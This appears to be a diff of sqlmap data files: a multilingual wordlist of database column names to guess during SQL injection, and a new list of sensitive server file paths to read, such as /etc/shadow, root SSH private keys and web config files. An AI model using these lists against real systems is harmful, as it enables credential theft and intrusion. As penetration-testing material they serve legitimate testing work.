+nguoidungid +quantri +quanly +u_id +accountname +account_name +matkhau +matma +paswd +pas +tukhoa +login_pas +loginpassword +loginpasswd +loginpass +loginpas +loginpwd +secret +secret_code +secretcode +administrators +adminpass +adminpassword +adminpaw +adminpwd +adminuid +upass +level +mima +sb_admin_name +sb_pwd +client +clients +ipaddress +files +family +admin_psw +administrateur +adminpsw +adminupass +adress +aide +articleid +content +dw +feed +feedback +glmm +isadmin +key +keywords +mpassword +msn +musername +newsid +numer +passer +pe_aduser +pe_user +power +pswd +pwd1 +qq +stocker +sysuser +telephone +texte +userpasswd +usr_nusr +usr_pw +website +wind +compte +comptes +objectif +authentifier +authentification +fissure +adressee-mail +complet +groupe +hachage +connexion +membre +membres +mm +p +u +mot_de_passe_bdd +mon_mot_de_passe +monmotdepasse +ignatiusj +caroline-du-nord +nouveau +sel +recherche +utilisateurs +o +konto +rachunki +administratorzy +pomoc +cel +uwierzytelnienia +uwierzytelnianie +kontakt +klient +danych +adres_e-mailowy +grupy +obrazy +spis +dostawcy +nazwisko +zaloguj +nowy +telefon +seryjny +ustawienie +kod +stan +sklep1 +sklep2 +tekst +zytk +konta +rysa +adrese-mail +ecolo +tat +yh +yhm +yhmm +yonghu + +# site:br + +content_id +codigo +geometry +published +section_value +tidcliente +menuid +pollid +bid +moduleid +gab_pergunta +tipo +template +multilinestring +aal_aluno +ava_professor +adm_nivel +lec_codigo +per_codigo +lec_disciplina +gaip_codigo +acl_id +niv_codigo +quantidade +attribute_id +gaia_codigo +alu_matricula +nota +gab_codigo +field_id +ava_codigo +aal_codigo +message_id +avi_codigo +fre_disciplina +groups_id +nome_cliente +pc +lec_professor +idusuario +poll_id +dis_codigo +ava_disciplina +gap_codigo +avp_codigo +aai_codigo +fre_aluno +fre_codigo +adm_id +id_estado +aap_codigo +pro_matricula +gp +xlancamento +municipioprestador +product_price_id +country_2_code +shopper_group_id +manufacturer_id +com_natur +review_id +xtipo_de_acao +bookmark_id +xequipe_padrao +faixas_id +xcliente +deducoes_id +xcategoria +xencerramento +idx_item +xcadastro +quantitens +additional_htmlblob_users_id +ipi +xfase_de_vencimento +permission_id +xdecisao +i_end +xforo +order_item_id +mo +grafica_id +news_id +enderecos_id +desccompensa +desconto +creditcard_id +card_id +cardid +idcard +creditcard +cardnumber +cardno +itens_id +senha +order_status_id +id_seq +municipio_id +additional_users_id +order_status_history_id +function_id +controladas_id +ator_id +shipping_rate_id +htmlblob_id +css_id +xfase +fieldvalueid +main +correcaostrategy_id +fonte +xmetodo_atualizacao +desd_xdecisao +jurosstrategy_id +fielddef_id +especie_id +idcategoria +xgrupo +indice_id +xprocedimento +xcustom1 +autor_id +newssummarycategory +icmsinterno +nonnavigable +domicilio_id +notafiscal_id +userplugin_id +shipping_carrier_id +municipiotomador +natureza +solicitante_id +mbpp +xcustom2 +template_id +chave_primaria +desd_xforo +payment_method_id +nome_agencia +pessoa_id +uprdescricao +export_id +logo_id +prazo_xevento +tomador_id +serie_id +tidclasfiscais +atividades_id +logradouro_id +xadvogado +xequipe +handler_id +xobjeto +multipolygon +tipo_id +xproprietario +state_id +mopc +valorcontabil +xprocesso +coupon_id +currency_id +parameter_name +contribuinte_id +xcubo +country_id +id_fatura +serienfe_id +tax_rate_id +waiting_list_id +download_id +emissao +screen +xcustom3 +mbpc +documento_id +xcustom4 +fieldid +point +xsituacao +icmssp +tidproduto +pp +empresa_id +i_tel +contador_id +telefones_id +estado_id +xevento +site +order_currency +xprocesso_apensado +multastrategy_id +saida +grupo_id +guid_sessao +indice +xjurisdicao +news_category_id +mf_category_id +product_type_id +xusuario +vendor_id +sitepref_name +desd_xjurisdicao +option_id +xrelatorio +codusuario +id_cidade +user_info_id +desd_xfase +situacao +file_id +zone_id +id_servico +situacao_id +tidfornecedor +valor2 +valor3 +valor4 +valor5 +origem +few +idxatv +mopp +prestador_id +xprognostico +xclasse +log_id +xadverso +guid_email +guiaavulsa_id +pl +vendor_category_id +venc3 +venc2 +totpc +venc5 +venc4 +xserie +order_info_id +an +totpp +totpv +imagen_id +esquema +atividade_id +xgarantia +discount_id +xnatureza +group_perm_id +category_child_id +newssummaryauthor +and_xevento + +# site:de + +rolle_nr +standort_nr +ja +persnr +vorname +width +titel +filename +post_id +swidth +height +vorgaenger +matrnr +kursnr +notification_type +sheight +style_id +startnummer +bezeichnung +basename +kat_id +whabfragen +struct_id +havabfragen +abfrsql +vorlnr +ban_id +forum_id +rank_id +nr +k_id +nachname +ort +key_id +groesse +datum +image_id +entry +speise_id +word_id +absatz_id +class_id +mail_id +zid +ticket_id +queue_id +pid1 +pid2 +currval +forum +organizationid +institute_id +history_id +my +how +after +meetingid +mitarbeiterid +idgruppe +re +artikel_id +top +perid +pers_nr +idstelle +messageid +acctid +address_book_id +article_id +com +kid +rule_id +kosten +plz +confirm_id +race_id +vis_id +descr +seitelayout_id +vote_id +g_id +activated +show +guy +vtyp_id +timeofmove +views +meta_id +blz +bookid +teilnehmernr +weaponid +region_id +resultid +calendar +address_id +pos +d_id +serverid +cd +answer_id +categories_id +start +site_id +price_id +az +mnr +cis_id +config_key +address_format_id +tn +tax_id +mountname +standard +schweiz +partner_id +idkontakt +eventid +oldstate +topicid +sonst +pk +mountcategory +von +orders_recalculate_id +block_id +knr +msgid +ortnr +seiteabs_id +id1 +um +paperid +send +wid +gi +lieferant +orgid +profile +zugang +allow +unique_id +taskid +configuration_id +jcode +ex_id +blog_id +who +section_id +mindk +beschreibung +schl +you +object_link_a_id +disallow_id +strasse +option_name +q_trid +summary_id +gameid + +# site:es + +catid +dni +prune_id +anid +linkid +qid +word_text +id_cat +eid +privmsgs_text_id +downloadid +hid +themes_id +privmsgs_id +codi +requestid +ratingdbid +edad +secid +sitename +artid +gallid +main_module +contactid +aro_id +replace +total +root +prodid +id_paciente +mosloadposition +de +mossef +ordid +stdprice +advanced +super +editor +rol +editors +mosvote +agent +en +searchbot +cod_aplicacion +manager +geshi +author +coste +mos +menutype +session_ip +publisher +texto +actor_id +mosemailcloak +none +id_tra +sistema +help +custid +value_id +nompuerto +legacybots +id_enfermedad +tinymce +nivel +locale +load +format +registered +moscode +results +search_term +mosimage +sin +mospaging +que +sef +dorsal +coste_total +legacy +btn +repid +parent_id +time_stamp +bannerid + +# site:fr + +numero +id_auteur +titre +lang +tag +id_forum +id_groupe +id_article +alliance1 +alliance2 +id_message +num +fichier +id_user +id_syndic +dico +id_rubrique +id_document +id_breve +id_signature +id_type +ide +id_syndic_article +id_mot +n_agence +ville +codepostal +sess_id +num1 +constraint_name +n_type +theme_id +image +referer_md5 +id_fragment +new_id +version_min +liste +id_version +prix +terms_body +prenom +nid +n_client +n_compte +apid +n_dept +n_dir +age + +# site:ru + +dt_id +subdivision_id +sub_class_id +comments +cmtid +tags +checkbox +ct_id +part +lastupdated +customsettings +catalogue_id +relationmessage +englishname +ba_num_reads +at_id +bs_setting +am_id +t2 +t1 +message +blogcommentsaccess_id +sub_class +grfilt +tempprovkredit +ostdate +koef +bms_cat_id +bd_id +field2 +field3 +dd +kredit +callend +gcode +blogcommentsaccess +sender +udal +bcf_id +bfs_id +schet +grcode +blogcommentssub +blogpermissiongroup_id +us_id +bv_id +bvo_id +rusname +gbid +kontr600 +realiz_opt +bs_bid +bb_id +bf_id +wuser +v_id +sklad +sd +object_sub_class_id +callstart +myexec +relationsub +id_photo +bfl_id +bml_id +blogmessagesaccess +bn_id +bsu_id +id_links +bo_id +dates +kontr620 +pom +object_parent_id +ostatki +tovar +oid +bsm_id +mn_id +pcode +id_poll_ip +groupcodes +codeid +fot_id +spell_id +typenamekeeper +bt_id +odate +bdate +bs_id +id_paragraph +t4 +t3 +nt_id +id_contact +korschet +data_in +id_msg +bc_plugin +summaprihod +boe_c_id +bct_id +grkntr +btt_id +string +tl_id +subdivision_name +bc_id +bfp_id +bcfs_id +vcode +id_refferer +ssschet +sessid +im_id +id_poll +ba_num_voted +kontr60 +id_ip +kre1 +ord_id +kc +bbt_id +bst_id +bftt_id +blogpermissiongroup +it_id +chost +bo_order_number +ba_id +object_sub_id +hidden_url +bms_id +pnds +pt_id +realiz +id_catalog +wdate +bff_id +matcode +bur_cat_id +bsl_id +blogmessagesaccess_id +bcena +ostatkii +ost1 +bvr_id +prih +bu_id +bp_id +isview +id_artpage +tb_id +bst_time +ba_order_num +username1 +id_answer +rt_id +bot_id +korschetfilter +st_id +summachp +vt_id +data_out +journals +enumtypid +scriptname +result +bsur_id +keyname +handle +ba_date +blogcommentscc +lg_id +bft_id +ft_id +toorg +debet +orgcode +partstring +id_product +bte_id +pu_id +mt_id +edate +community +bpe_id +grtov +id_page +boe_id +sut_id +task_id +object +can +voteid +operation_id +city_id +list +page_id +banner_id +error +language_id +val +parol +familiya +imya +otchestvo + +# site:jp + +dealer_id +modify_date +regist_date +comment +payment_method +service_name +file1 +rel_id +sub_large_image3 +sub_image6 +sub_image4 +sub_image5 +sub_image3 +sub_image1 +fix +companyid +formid +charge +page_name +deliv_fee +category_name +stock_unlimited +sale_limit +nam +target_id +tempid +point_rate +payment_image +confirm_url +dt +document_id +productid +ken_kanji +attname +parent_category_id +module_name +main_list_image +create_date +conkey +product_code +price01 +price02 +classcategory_id1 +seminer_id +classcategory_id2 +newrow +update_date +classcategory_id +yeartag +job +relname +comm +main_large_image +sub_image2 +deliv_id +idx +comment5 +bloc_row +ndc +comment6 +comment1 +comment3 +comment2 +creator_id +bloc_name +equip_id +recommend_product_id +file3 +file2 +jiscode +file6 +file5 +file4 +news_date +rank +sub_title5 +sub_title4 +sub_title6 +sub_title1 +sub_title3 +sub_title2 +txt +loc +fee +committee_id +module_code +pref +disp_name +pref_id +deliv_date_id +relid +upper_rule +main_image +umeta_id +template_code +edit_flg +comment4 +kiyaku_title +hiredate +csv_id +sal +attrelid +deptname +main_comment +sub_large_image4 +sub_large_image5 +sub_large_image6 +php_dir +sub_large_image1 +sub_large_image2 +bloc_id +test +tpl_dir +del_flg +stock +sale_unlimited +sub_comment4 +sub_comment5 +sub_comment6 +manuscriptid +sub_comment1 +sub_comment2 +sub_comment3 +main_list_comment +mgr +product_flag +rule +c_commu_topic_id +c_diary_comment_log_id + +# site:it + +idcomune +idruolo +idtrattamento +idpaziente +matricola +idpersonale +idasl +idanagrafica +idciclo +iddocumento +idservizio +idricovero +idclinica +idcamera +idtipociclo +idsistemazione +idtiporicovero +idtiposervizio +idsesso +idpagamento +idtipodimissione +idletto +iddescrizionedocumento +codice +cognome +idtipodocumento +idstatocivile +idtipologiaservizio +idtipotrattamento +idmedicofamiglia +idregistro +idreparto +iddistretto +idprovenienza +telefono +eta +figlio +reddito +denominazione +anno +idbocca +idcartellaclinica +idsistnerv +idappargenit +idtipotrasferimento +dataricovero +idcuore +cap +descrizione +idocchi +sede +idricoverohatipologia +noteaccettazione +dal +datadimissione +idorecchie +idcorpo +id_provincia +idtipologiaricovero +id_regione +idapparlocom +idcomuneresidenza +created_at +datanascita +corso +idanamnesifamil +idesameobiettivo +idcapo +idsmaglog +sesso +impiegato +luogonascita +idcute +idcollo +idsistresp +dipsede +cellulare +idaddome +php +idnaso +cf +idstatogenerale +idtrasferimento +indirizzo +genitore +dipnome +updated_at +idlinfonodi +groupname +shop +c_name +plugin_googlemap2 +jfalternative +post_status +localita +prz_merce_fis +idgroupacl +comune +ana_codice +utenteid +mod_gtranslate +idlocation +rating_id +online_id +jfsections +idextra +categories +luogoid +nroordine +stat_name +gender +oggettistica +gru_userid +pv_id +parigi +direct +pm_id +idperiodo +idarticolo +what +can_codice +sub +id_nazione +client_name +acc_codice +mod_freeway_services +cleanurl +newyork +idcategory +active +box +prc_sconto1 +prc_sconto3 +prc_sconto4 +disma +iddiscipline +job_e_date +risultato +mod_arcadebtn +jfrouter +apply +unit +newcollection +customenu +prova +cod_utente_mod +helvetica +send_id +mf_desc +nroarticolo +mod_ninja_simple_icons +sessione +cdele +statoattivitaid +bracciali +zenzaro +cod_valuta +collane +tabella +newyorkenglish +grp_id +var_id +sot_proposta_e +virtuemart +enteid +rpad +auth_id +realname +attivitaid +readmore +freewaylogin +idconfig +pin +pins +csc +cvd +cvv +cvv2 +cvvc +ccv +ccid +qta_merce +charms +diritto +accessori +mod_signallogin +remember +mod_virtuemart_featureprod +padre +prc_sconto2 +enter +idgara +morfeoshow +lingua +piede +gtranslate +under_menu +id_disciplina +nomedip +before +mod_virtuemart_search +arial +job_id +config_item +add_date +jfdatabase +madre +idragsoc +idsubscriptiontickets +loadmodule +jumpmenu +idsocieta +category_img +portachiavi +mf_name +codicepaziente +mod_virtuemart_randomprod +ninja +pro_codice +mod_vm_cat_menu_specific +vinod +newsfeeds +id_palestra +mod_custom +css +debug +side +dipart +areainterventoid +mod_flashmod +tipologiaenteid +emailcloak +mod_freeway_events +id_logho +codicemedico +nuova +catarticles +dst +gru_codice +idutente +idutenti +job_title +schedaid +idmlattach +zonainterventoid +totfasciaeuroid +structure_id +att_codice +blogger +plan_table_output +pagenavigation +idplugin +vote +mod_freeway_subscriptions +idconn +cerca +system +langkey +app_gruppo_e +term_taxonomy_id +statement +params +oggetto +mod_cpmfetch +signallogin +id_passwd +codrappr +coddoc +statoavanzamid +nrsez +idmlgroup +rated_id +kwick +id_citta +prc_magg1 +prc_magg2 +flg_fiscale +banner_url +attribute_sku_id +mod_product_list +end_date_time +purchase_id +client_url +vm_manufacturer_category +pfs_id +veteran +mod_cd_login +menu_selezione +ruoloenteid +ele_codice +pl_id +payment +idmlmail +mod_virtuemart_currencies +freeway +annoid +cod_dep +area_id +prg_art +alias_area_id +sent +po_id +yoologin +sys_context +mod_enugene +idnotsentmails +mod_virtuemart_manufacturers +menu +cache +prg_movimento_riga +url_md5 +ldap +tvoti +villiam +full_news +yoocarousel +main2 +main3 +dat_utente_mod +user_alto +pff_id +smilie_id +mod_date +banner +pinsn +codice_comune +vm_payment_method +idclassificatore +idgroup +progetto +mod_freeway_shoppingcart +payment_extrainfo +cost_id +gmail +dat_movimento +mod_jt_slideshow +campo_bol +idcliente +prz_merce +hdesc +fp_id +jt +idfile +ji +mod_catarticles +mod_virtuemart_latestprod +mod_customenu +app_utente_e +prg_movimento +include_date +cod +flipper +naresh +cache_language_id +id_preventivo +config_owner +header +mootoolnicemenu +qualificareferenteid +modhome +id_annuncio +idtitolo +source +charmsn +swf +tutor +mod_yoo_carousel +portachiavin +idevent +mod_mainmenu +jfcontent +item_cd +tpref +id_news +mf_category_name +iddesign +moduledir +cod_clifor +fkidannofdr +mod_donimedia_select_box_menu_type1 +jfcontacts +jpg +client_desc +mod_freewaylogin +mod_translate +flscrvpre +grand +mf_category_desc +payment_method_name +extended +mod_vm_prod_cat_full +mod_freeway_admin +orecchini +nlista +jfcategories +mod_cssmenu +mod_lxmenu +mod_flipper_img_rotator +fkidanagrafica +id_comune +statement_id +idatleta +inactive +mod_sidebarmenuapplestyle +candidato +ref_url +testq +ind_clifor +xmlrpc +pingback_id +l_col_list +fs_id +press +mod_freeway_products +semo +bijoux +rakesh +modulo_contatti +google +vm_manufacturer +vot_proposta_e +brend +post_date +enugene +nrcandi +invoice +home +sot_utente_e +settoreid +weblinks +contacts +id2 +codcliente +news_title +job_s_date +sql_text +affiliate +backlink +core +id_attivita +index_num +etertre +manufacturer +cod_utente_cre +cod_art +ideventcategory +dat_utente_cre +cache_id +joomla +product_list +coupon +mod_sendcart +bijouxn +pagebreak +idsessione +arcade +mod_virtuemart_topten +banner_title +flg_prezzo_con_iva +partnerid +vot_utente_e +sections +xstandard +id_scheda +vm_category +mod_jumplink +exclude_date +ruoloid +contenuti +accessorin +coppermine +banlist_id +offerte +idticket +idsubscription +beneficiarioid +oggettistican +jfnewsfeeds +anelli +ship +imenu +na +nb +get_ddl +short_news +openid +titoloprogettoid +connection_id +mod_kwick_sliding_menu +matr +id_richiesta +idoggetto +lxmenu +text_id +user_basso +ver_codice +mayank +idgrouppermission +modules +client_img +does_repeat + +# site:cn + +typeid +cronid +advid +admingid +payid +tagname +optionid +templateid +applyid +searchid +styleid +medalid +pluginvarid +fldfuntype +fldfunindex +displayorder +pluginid +fldfunopen +fldfunid +fldfunhref +fldfunmemo +fldfunname +mobile +invisible +polloptionid +cachename +tagid +pluginhookid +pmid +fldfuninfo +magicid +keyid +areaid +logid +folder +allno +vieworder +classid +topped +msg +topics +rankid +timeid +iconid +intro +corpid +replies +operation +announceid +nickname +goods_id +attachment +special +hk_name +stylevarid +posterid +curtopics +allowbanip +hide +allowdelpost +db_value +picurl +yahoo +adid +digest +n_id +hidden +olimg +lastpost +signature +lastposttime +doid +authstr +tabid +org_code +typename +allowstickthread +departmentid +allowmassprune +identify +old +avatar +allowedituser +forumname +descrip +blogid +allowmoduser +lastposterid +today +tempfidlist +feedid +courseid +olid +hk_value +xh +allowpostannounce +copy +splitstring +icon +fidlist +lastpostpmtime +article +former +projectid +avatarheight +html +alloweditpoll +downloads +channelid +allowbanuser +appid +allowcensorword +emailid +lastexecuted +decl_mail +lastupdatetime +billid +vid +lastposter +allowrefund +allowviewrealname +installed +lasttid +postcount +searchstring +reason +customstatus +titleid +newpms +verifycode +forumid +attention +readperm +skype +lastsearchtime +bio +lastpostid +idcard +postdatetime +question +poster +sightml +highlight +pageid +threadorder +todaycount +currentindex +avatarwidth +magic +allowmodpost +allowviewip +pro_id +iid +decrip +alloweditpost +mailid +lastforumposterid +accountid +tids +medals +fileid +postid +closed +lastactivity +newnotices +allowviewlog +expiration +layer +ishtml +command +brand_id +disablepostctrl +fieldname + +# site:id + +ajar +akses +aktif +akun +alamat +batas +cabang +deskripsi +foto +harga +hp +jeda +jenis +jml +judul +jumlah +kata_kunci +kata_sandi +katakunci +katasandi +kategori +kelas +keterangan +kode +kunci +lahir +nama +nama_akun +nama_ibu_kandung +nama_pengguna +namaakun +namapengguna +pekerjaan +pendidikan +pengguna +penjelasan +perusahaan +ponsel +profesi +ruang +sandi +soal +surat_elektronik +surel +tanggal +tanggal_lahir +telepon +tempat +tempat_lahir +tmp_lahir +universitas +urut +waktu + +# WebGoat + +cookie +login_count + +# https://sqlwiki.netspi.com/attackQueries/dataTargeting/ + +credit +card +pin +cvv +pan +password +social +ssn +account +confidential + +# site:nl + +naam +straat +gemeente +beschrijving +id_gebruiker +gebruiker_id +gebruikersnaam +wachtwoord +telefoon +voornaam +achternaam +geslacht +huisnummer +gemeente +leeftijd + +# site:cn + +yonghuming +mima +xingming +xingbie +touxiang +youxiang +shouji + +# Misc + +u_pass +hashedPw + +# password (international) + +adgangskode +aikotoba +amho +bimilbeonho +codewort +contrasena +contrasenya +contrasinal +esmeramz +facalfare +fjalekalim +focalfaire +gagtnabar +geslo +gozarvazhe +gunho +haslo +heslo +hudyat +igamalokungena +iphasiwedi +javka +jelszo +kadavucol +kalameobur +kalimatumurur +kalimatusirr +kalmarsirri +katalaluan +katasandi +kennwort +kodeord +kodikos +kouling +kupiasoz +kupuhipa +kupukaranga +kupuuru +kupuwhakahipa +losen +losenord +lozinka +lykilord +matkhau +mima +nenosiri +nywila +okwuntughe +oroasina +oroigbaniwole +paeseuwodeu +parol +parola +parolachiave +paroladordine +parole +paroli +parolja +parool +parulle +pasahitza +pasfhocal +pasowardo +passord +passwort +pasuwado +pasvorto +rahatphan +ramzobur +salasana +salasona +santoysena +senha +sifra +sifre +sisma +slaptazodis +synthimatiko +tunnussana +wachtwoord +wachtwurd +wagwoord diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt new file mode 100644 index 00000000000..d64015805e8 --- /dev/null +++ b/data/txt/common-files.txt @@ -0,0 +1,1809 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# CTFs + +/flag +/flag.txt +/readflag + +# Reference: https://gist.github.com/sckalath/78ad449346171d29241a + +/apache/logs/access.log +/apache/logs/error.log +/bin/php.ini +/etc/alias +/etc/apache2/apache.conf +/etc/apache2/conf/httpd.conf +/etc/apache2/httpd.conf +/etc/apache/conf/httpd.conf +/etc/bash.bashrc +/etc/chttp.conf +/etc/crontab +/etc/crypttab +/etc/debian_version +/etc/exports +/etc/fedora-release +/etc/fstab +/etc/ftphosts +/etc/ftpusers +/etc/group +/etc/group- +/etc/hosts +/etc/http/conf/httpd.conf +/etc/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/acces_log +/etc/httpd/logs/acces.log +/etc/httpd/logs/access_log +/etc/httpd/logs/access.log +/etc/httpd/logs/error_log +/etc/httpd/logs/error.log +/etc/httpd/php.ini +/etc/http/httpd.conf +/etc/inetd.conf +/etc/inittab +/etc/issue +/etc/issue.net +/etc/lighttpd.conf +/etc/login.defs +/etc/mandrake-release +/etc/motd +/etc/mtab +/etc/my.cnf +/etc/mysql/my.cnf +/etc/openldap/ldap.conf +/etc/os-release +/etc/pam.conf +/etc/passwd +/etc/passwd- +/etc/password.master +/etc/php4.4/fcgi/php.ini +/etc/php4/apache2/php.ini +/etc/php4/apache/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/cgi/php.ini +/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php.ini +/etc/profile +/etc/proftp.conf +/etc/proftpd/modules.conf +/etc/protpd/proftpd.conf +/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/pureftpd.pdb +/etc/redhat-release +/etc/resolv.conf +/etc/samba/smb.conf +/etc/security/environ +/etc/security/group +/etc/security/limits +/etc/security/passwd +/etc/security/user +/etc/shadow +/etc/shadow- +/etc/slackware-release +/etc/sudoers +/etc/SUSE-release +/etc/sysctl.conf +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/logs/access.log +/logs/error.log +/opt/apache2/conf/httpd.conf +/opt/apache/conf/httpd.conf +/opt/xampp/etc/php.ini +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf.default +/root/.bash_history +/root/.ssh/id_rsa +/root/.ssh/id_rsa.pub +/root/.ssh/known_hosts +/tmp/access.log +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/lib/security/mkuser.default +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/httpd.conf +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/error.log +/usr/local/apache/conf/httpd.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/httpd.conf +/usr/local/apache/logs/access_log +/usr/local/apache/logs/access.log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error. og +/usr/local/apps/apache2/conf/httpd.conf +/usr/local/apps/apache/conf/httpd.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/vhosts.conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/httpd/conf/httpd.conf +/usr/local/lib/php.ini +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/Zend/etc/php.ini +/usr/sbin/pure-config.pl +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf +/var/local/www/conf/php.ini +/var/log/access_log +/var/log/access.log +/var/log/apache2/access_log +/var/log/apache2/access.log +/var/log/apache2/error_log +/var/log/apache2/error.log +/var/log/apache/access_log +/var/log/apache/access.log +/var/log/apache/error_log +/var/log/apache/error.log +/var/log/error_log +/var/log/error.log +/var/log/httpd/access_log +/var/log/httpd/access.log +/var/log/httpd/error_log +/var/log/httpd/error.log +/var/log/messages +/var/log/messages.1 +/var/log/user.log +/var/log/user.log.1 +/var/www/conf/httpd.conf +/var/www/html/index.html +/var/www/logs/access_log +/var/www/logs/access.log +/var/www/logs/error_log +/var/www/logs/error.log +/Volumes/webBackup/opt/apache2/conf/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf.default +/web/conf/php.ini + +# Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py + +/var/log/mysqld.log +/var/www/index.php + +# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810 + +/var/www/index.php +/usr/local/apache/index.php +/usr/local/apache2/index.php +/usr/local/www/apache22/index.php +/usr/local/www/apache24/index.php +/usr/local/httpd/index.php +/var/www/nginx-default/index.php +/srv/www/index.php + +/var/www/config.php +/usr/local/apache/config.php +/usr/local/apache2/config.php +/usr/local/www/apache22/config.php +/usr/local/www/apache24/config.php +/usr/local/httpd/config.php +/var/www/nginx-default/config.php +/srv/www/config.php + +# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928 + +/srv/www/htdocs/index.php +/usr/local/apache2/htdocs/index.php +/usr/local/www/data/index.php +/var/apache2/htdocs/index.php +/var/www/htdocs/index.php +/var/www/html/index.php + +/srv/www/htdocs/config.php +/usr/local/apache2/htdocs/config.php +/usr/local/www/data/config.php +/var/apache2/htdocs/config.php +/var/www/htdocs/config.php +/var/www/html/config.php + +# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux + +/etc/passwd +/etc/shadow +/etc/aliases +/etc/anacrontab +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/at.allow +/etc/at.deny +/etc/bashrc +/etc/bootptab +/etc/chrootUsers +/etc/chttp.conf +/etc/cron.allow +/etc/cron.deny +/etc/crontab +/etc/cups/cupsd.conf +/etc/exports +/etc/fstab +/etc/ftpaccess +/etc/ftpchroot +/etc/ftphosts +/etc/groups +/etc/grub.conf +/etc/hosts +/etc/hosts.allow +/etc/hosts.deny +/etc/httpd/access.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access_log +/etc/httpd/logs/access.log +/etc/httpd/logs/error_log +/etc/httpd/logs/error.log +/etc/httpd/php.ini +/etc/httpd/srm.conf +/etc/inetd.conf +/etc/inittab +/etc/issue +/etc/lighttpd.conf +/etc/lilo.conf +/etc/logrotate.d/ftp +/etc/logrotate.d/proftpd +/etc/logrotate.d/vsftpd.log +/etc/lsb-release +/etc/motd +/etc/modules.conf +/etc/motd +/etc/mtab +/etc/my.cnf +/etc/my.conf +/etc/mysql/my.cnf +/etc/network/interfaces +/etc/networks +/etc/npasswd +/etc/passwd +/etc/php4.4/fcgi/php.ini +/etc/php4/apache2/php.ini +/etc/php4/apache/php.ini +/etc/php4/cgi/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php.ini +/etc/printcap +/etc/profile +/etc/proftp.conf +/etc/proftpd/proftpd.conf +/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/putreftpd.pdb +/etc/redhat-release +/etc/resolv.conf +/etc/samba/smb.conf +/etc/snmpd.conf +/etc/ssh/ssh_config +/etc/ssh/sshd_config +/etc/ssh/ssh_host_dsa_key +/etc/ssh/ssh_host_dsa_key.pub +/etc/ssh/ssh_host_key +/etc/ssh/ssh_host_key.pub +/etc/sysconfig/network +/etc/syslog.conf +/etc/termcap +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/logs/pure-ftpd.log +/logs/security_debug_log +/logs/security_log +/opt/lampp/etc/httpd.conf +/opt/xampp/etc/php.ini +/proc/cpuinfo +/proc/filesystems +/proc/interrupts +/proc/ioports +/proc/meminfo +/proc/modules +/proc/mounts +/proc/stat +/proc/swaps +/proc/version +/proc/self/net/arp +/root/anaconda-ks.cfg +/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/apache/conf/modsec.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/log +/usr/local/apache/logs +/usr/local/apache/logs/access_log +/usr/local/apache/logs/access.log +/usr/local/apache/audit_log +/usr/local/apache/error_log +/usr/local/apache/error.log +/usr/local/cpanel/logs +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/stats_log +/usr/local/etc/httpd/logs/access_log +/usr/local/etc/httpd/logs/error_log +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/lib/php.ini +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php 